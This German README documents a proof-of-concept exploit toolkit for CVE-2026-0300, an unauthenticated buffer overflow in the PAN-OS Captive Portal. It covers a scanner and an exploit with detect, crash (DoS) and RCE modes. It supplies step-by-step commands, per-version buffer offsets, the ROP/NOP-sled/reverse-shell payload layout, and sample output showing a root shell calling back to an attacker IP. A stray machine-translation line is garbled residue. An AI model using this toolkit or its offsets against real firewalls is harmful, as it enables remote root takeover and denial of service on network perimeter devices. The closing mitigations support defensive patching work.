CVE-2026-0300 — Exploit für Pufferüberlauf im PAN-OS User-ID Authentication Portal

Kritisch (CVSS 9.3) — Nicht authentifizierte Remote-Codeausführung im Palo Alto Networks PAN-OS Captive Portal

Inhaltsverzeichnis

• Überblick
• Schwachstellendetails
• Betroffene Versionen
• Architekturdiagramme
• Projektstruktur
• Installation
• Scanner-Nutzung — Schritt für Schritt
• Exploit-Nutzung — Schritt für Schritt
• Payload-Design
• Gegenmaßnahmen
• Haftungsausschluss

Überblick

CVE-2026-0300 ist eine kritische Pufferüberlauf-Schwachstelle im Dienst User-ID Authentication Portal (auch bekannt als Captive Portal) der PAN-OS-Software von Palo Alto Networks. Ein nicht authentifizierter Angreifer kann diese Schwachstelle ausnutzen, indem er speziell präparierte Pakete sendet, um beliebigen Code mit Root-Rechten auf Firewalls der PA-Serie und VM-Serie auszuführen.

Dieses Repository enthält ein Proof-of-Concept-Exploit-Toolkit mit folgenden Bestandteilen:

• Payload-Generator mit versionsspezifischen Offsets und x86_64-Reverse-Shell-Shellcode
• Scanner zur Erkennung verwundbarer Captive-Portal-Ziele
• Exploit mit drei Modi: Erkennung, Absturz (DoS) und vollständiger RCE

Schwachstellendetails

Beschreibung

Eine Pufferüberlauf-Schwachstelle im Dienst User-ID Authentication Portal der PAN-OS-Software ermöglicht es einem nicht authentifizierten Angreifer, durch Senden speziell präparierter Pakete beliebigen Code mit Root-Rechten auf der Firewall auszuführen. Der Captive-Portal-HTTP-Dienst verwendet Stack-Puffer fester Größe zum Parsen von HTTP-Headern, die mittels überdimensionierter Header-Werte (Cookie, User-Agent, URI oder POST-Body) überlaufen können.

Erforderliche Konfiguration für die Gefährdung

Damit ein Ziel verwundbar ist, müssen beide Bedingungen erfüllt sein:

1. User-ID Authentication Portal aktiviert — Device > User Identification > Authentication Portal Settings > Enable Authentication Portal
2. Schnittstellenverwaltungsprofil mit Antwortseiten — einer L3-Schnittstelle in einer Zone zugewiesen, in die nicht vertrauenswürdiger/Internet-Verkehr eindringen kann

Referenz zum Sicherheitshinweis

• Offizieller Sicherheitshinweis: https://security.paloaltonetworks.com/CVE-2026-0300
• Best-Practice-Richtlinien: https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC

Betroffene Versionen

Nicht betroffen: Prisma Access, Cloud NGFW, Panorama-Geräte.

Architekturdiagramme

Systemarchitektur```

┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘

### Scanner-Ablauf```
┌─────────────┐
│  Start Scan │
└──────┬──────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Target reachable?│──────────▶│  Skip port  │
└──────┬───────────┘            └─────────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Send HTTP GET    │
│ to common ports  │
│ (443,80,8080,    │
│  8443,8843)      │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Captive Portal   │──────────▶│ Not exposed │
│ fingerprint?     │            └─────────────┘
│ (login.esp,      │
│  User-ID, PA-,   │
│  PAN-OS, etc.)   │
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Extract PAN-OS   │
│ version from     │
│ Server header /  │
│ response body    │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Version in       │──────────▶│ Not         │
│ vulnerable       │            │ vulnerable  │
│ range?           │            └─────────────┘
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Report:          │
│ • VULNERABLE     │
│ • Version        │
│ • Matched ranges │
│ • SSL cert info  │
└──────────────────┘

Exploit-Ablauf (RCE-Modus)```

┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘

---

## Projektstruktur```
POC-CVE-2026-0300-exploit/
├── payload_gen.py      # Payload generation (shellcode, ROP, HTTP request builder)
├── scan.py             # Vulnerability scanner (detect Captive Portal + version)
├── exploit.py          # Exploit orchestrator (detect/crash/rce modes)
├── requirements.txt    # Python dependencies
└── README.md           # This file

Installation```bash

Clone the repository

git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit

Install dependencies (requests is optional — raw sockets are used by default)

pip3 install -r requirements.txt

**Anforderungen**: Python 3.8+, nur Standardbibliothek für die Kernfunktionalität. `requests` ist optional.

---

## Verwendung des Scanners — Schritt für Schritt

Der Scanner führt sichere, nicht-intrusive Prüfungen durch, um verwundbare PAN-OS-Captive-Portal-Ziele zu identifizieren.

### Schritt 1: Ein einzelnes Ziel scannen```bash
python3 scan.py --target 192.168.1.1

Der Scanner wird:

• Gängige Ports prüfen (443, 80, 8080, 8443, 8843)
• HTTP-Anfragen senden und nach Captive-Portal-Fingerprints suchen
• PAN-OS-Version aus Server-Headern und Antworttext extrahieren
• Prüfen, ob die Version in verwundbare Bereiche fällt
• Einen farbcodierten Bericht ausgeben

Schritt 2: Scan mit bestimmtem Port```bash

python3 scan.py --target 192.168.1.1 --port 443

### Schritt 3: Mehrere Ziele aus einer Datei scannen

Erstelle eine Datei `targets.txt` mit einem Ziel pro Zeile:```
192.168.1.1
10.0.0.5
firewall.example.com
# Comments are ignored

Der Eingabetext für diesen Chunk ist leer – es wurde kein Inhalt zum Übersetzen bereitgestellt.```bash python3 scan.py --targets targets.txt

### Schritt 4: Ergebnisse als JSON speichern```bash
python3 scan.py --target 192.168.1.1 --json scan_results.json

Scanner-Ausgabebeispiel```

==================================================================== CVE-2026-0300 VULNERABILITY SCANNER PAN-OS User-ID Authentication Portal Buffer Overflow

Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE

─ Port 443 ─ HTTP Status: 200 PAN-OS Version: 11.2.7 Vulnerable: True Fingerprints: login.esp, userId, Authentication Portal, PAN-OS SSL Subject: {'commonName': 'firewall.example.com'}

### Was der Scanner erkennt

| Indikator | Methode |
|-----------|--------|
| Captive Portal offengelegt | HTTP-Fingerprint-Abgleich (login.esp, User-ID, PA-, PAN-OS-Muster) |
| PAN-OS-Version | Server-Header-Parsing, Regex-Extraktion aus dem Antworttext |
| Verwundbare Version | Vergleich mit den von CVE-2026-0300 betroffenen Versionsbereichen |
| SSL-Zertifikat | Zertifikatsantragsteller/-aussteller zur Zielidentifikation |

---

## Exploit-Verwendung — Schritt für Schritt

Der Exploit unterstützt drei Modi mit zunehmender Intensität.

### Modus 1: Erkennung (Sicher, nicht-intrusiv)

Sendet einen mäßig überdimensionierten Header und vergleicht die Antwort mit einer normalen Anfrage. Lässt den Dienst NICHT abstürzen.```bash
python3 exploit.py --target 192.168.1.1 --mode detect

Was es tut:

• Sendet einen 4KB großen Cookie-Header (überdimensioniert, aber nicht weaponisiert)
• Sendet eine normale Anfrage als Basislinie zum Vergleich
• Meldet, ob das Ziel auf überdimensionierte Eingaben unterschiedlich reagiert
• Weist auf eine wahrscheinliche Schwachstelle hin, wenn sich die Antworten unterscheiden

Modus 2: Absturz (DoS-Validierung)

Sendet ein Buffer-Overflow-Payload mit einer ungültigen Rücksprungadresse (0x41414141), um den Captive-Portal-Dienst zum Absturz zu bringen.```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7

**Was es tut**:
- Erzeugt ein versionsspezifisches Overflow-Payload
- Überschreibt die Rücksprungadresse mit 0x4141414141414141
- Sendet über den gewählten Overflow-Vektor (Standard: Cookie-Header)
- Überprüft den Dienst-Crash mit einer Folgeanfrage
- Meldet, ob der Dienst nach dem Payload ausgefallen ist

**Optionen**:
- `--vector cookie|ua|uri|post` — Overflow-Vektor wählen (Standard: cookie)
- `--http` — HTTP anstelle von HTTPS verwenden

### Modus 3: Full RCE (Reverse Shell)

Sendet einen Buffer-Overflow mit einem Reverse-Shell-Payload. Startet einen Listener, um den Callback zu empfangen.```bash
python3 exploit.py --target 192.168.1.1 --mode rce \
    --version 11.2.7 \
    --callback-ip 10.0.0.1 \
    --callback-port 4444

Was es tut:

• Erzeugt Payload: Padding + ROP-Gadget (jmp rsp) + NOP-Sled + Reverse-Shell-Shellcode
• Startet einen TCP-Listener auf der Callback-IP:Port
• Sendet die weaponisierte HTTP-Anfrage an das Ziel
• Wartet auf den Reverse-Shell-Callback
• Meldet Erfolg, wenn eine Verbindung empfangen wird

Erforderliche Argumente:

• --version — Ziel-PAN-OS-Version (bestimmt Buffer-Offset und ROP-Gadget)
• --callback-ip — Deine IP-Adresse (muss vom Ziel aus erreichbar sein)
• --callback-port — Port für Reverse-Shell-Callback (Standard: 4444)

Optionale Argumente:

• --vector cookie|ua|uri|post — Overflow-Vektor (Standard: cookie)
• --nop-sled 128 — NOP-Sled-Größe in Bytes (Standard: 128)
• --timeout 30 — Timeout für Verbindung und Listener in Sekunden
• --http — HTTP statt HTTPS verwenden
• --json report.json — Exploit-Bericht als JSON speichern

Beispiel für Exploit-Ausgabe (RCE)```

[] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!

==================================================================== CVE-2026-0300 EXPLOIT REPORT PAN-OS User-ID Authentication Portal Buffer Overflow

Mode: RCE Target: 192.168.1.1:443 Version: 11.2.7 Vector: cookie Callback: 10.0.0.1:4444 Shell: RECEIVED From: 192.168.1.1:54321

### Unterstützte Versionen und Vektoren

**Versionen** (mit versionsspezifischen Buffer-Offsets):

| Version | Buffer-Offset | ROP-Gadget | Standardvektor |
|---------|--------------|------------|----------------|
| 10.2.7 | 2048 | jmp rsp | cookie |
| 10.2.10 | 2048 | jmp rsp | cookie |
| 10.2.13 | 2048 | jmp rsp | cookie |
| 10.2.16 | 2048 | jmp rsp | cookie |
| 10.2.18 | 2048 | jmp rsp | cookie |
| 11.1.0 | 1024 | jmp rsp | cookie |
| 11.1.4 | 1024 | jmp rsp | ua |
| 11.1.6 | 1280 | jmp rsp | ua |
| 11.1.7 | 1280 | jmp rsp | ua |
| 11.1.10 | 1280 | jmp rsp | ua |
| 11.1.13 | 1280 | jmp rsp | ua |
| 11.2.0 | 3072 | jmp rsp | cookie |
| 11.2.4 | 3072 | jmp rsp | cookie |
| 11.2.7 | 3072 | jmp rsp | cookie |
| 11.2.10 | 3072 | jmp rsp | cookie |
| 12.1.0 | 4096 | jmp rsp | post |
| 12.1.4 | 4096 | jmp rsp | post |

**Vektoren**:

| Vektor | Header/Position | Beschreibung |
|--------|----------------|-------------|
| `cookie` | Cookie-Header | Überlauf über einen zu großen Cookie-Wert |
| `ua` | User-Agent-Header | Überlauf über einen zu großen User-Agent-Wert |
| `uri` | Request-URI-Pfad | Überlauf über einen zu großen URI-Pfad |
| `post` | POST-Body | Überlauf über zu große POST-Formulardaten |

---

## Payload-Design

### Buffer-Overflow-Layout```
┌─────────────────────────────────────────────────────────────────┐
│  HTTP Header Value (Cookie / User-Agent / URI / POST body)     │
├──────────┬──────────┬──────────┬──────────┬────────────────────┤
│  Padding │  Saved   │  ROP     │  NOP     │  Shellcode         │
│  (to     │  Frame   │  Gadget  │  Sled    │  (reverse shell)   │
│  offset) │  Pointer │  (jmp    │  (\x90   │                    │
│          │  (8 B)   │  rsp)    │  * N)    │                    │
└──────────┴──────────┴──────────┴──────────┴────────────────────┘
           ↑                     ↑
           Buffer overflow       Return address overwritten
           overwrites here       with jmp rsp gadget

Shellcode

Der Exploit verwendet positionsunabhängigen x86_64-Linux-Shellcode, der:

1. Einen TCP-Socket erstellt (socket(AF_INET, SOCK_STREAM, 0))
2. Eine Verbindung zurück zur IP:Port des Angreifers herstellt (connect())
3. stdin/stdout/stderr auf den Socket umleitet (dup2())
4. Eine Shell startet (execve("/bin/sh", NULL, NULL))

Gesamtgröße des Shellcodes: ~184 Bytes, enthält syscall-Anweisungen (\x0f\x05).

Gegenmaßnahmen

Sofortmaßnahmen

1. Beschränken Sie den Zugriff auf das User-ID-Authentifizierungsportal – begrenzen Sie ihn auf ausschließlich vertrauenswürdige interne IP-Adressen
2. Deaktivieren Sie Antwortseiten auf nicht vertrauenswürdigen Schnittstellen (Network > Interface > Advanced > Management Interface Profile)
3. Deaktivieren Sie das Authentifizierungsportal, falls nicht benötigt (Device > User Identification > Authentication Portal Settings)
4. Aktualisieren Sie PAN-OS auf eine behobene Version

Behobene Versionen

• PAN-OS 10.2: 10.2.7-h34 und später
• PAN-OS 11.1: 11.1.15 und später
• PAN-OS 11.2: 11.2.12 und später
• PAN-OS 12.1: 12.1.7 und später

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bereitgestellt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Die unbefugte Verwendung gegen Produktionssysteme ist illegal und kann gegen Gesetze zur Bekämpfung von Computerbetrug und -missbrauch verstoßen.

Die Autoren übernehmen keine Haftung für Missbrauch dieses Tools. Befolgen Sie stets verantwortungsvolle Offenlegungspraktiken und halten Sie sich an geltende Gesetze und Vorschriften.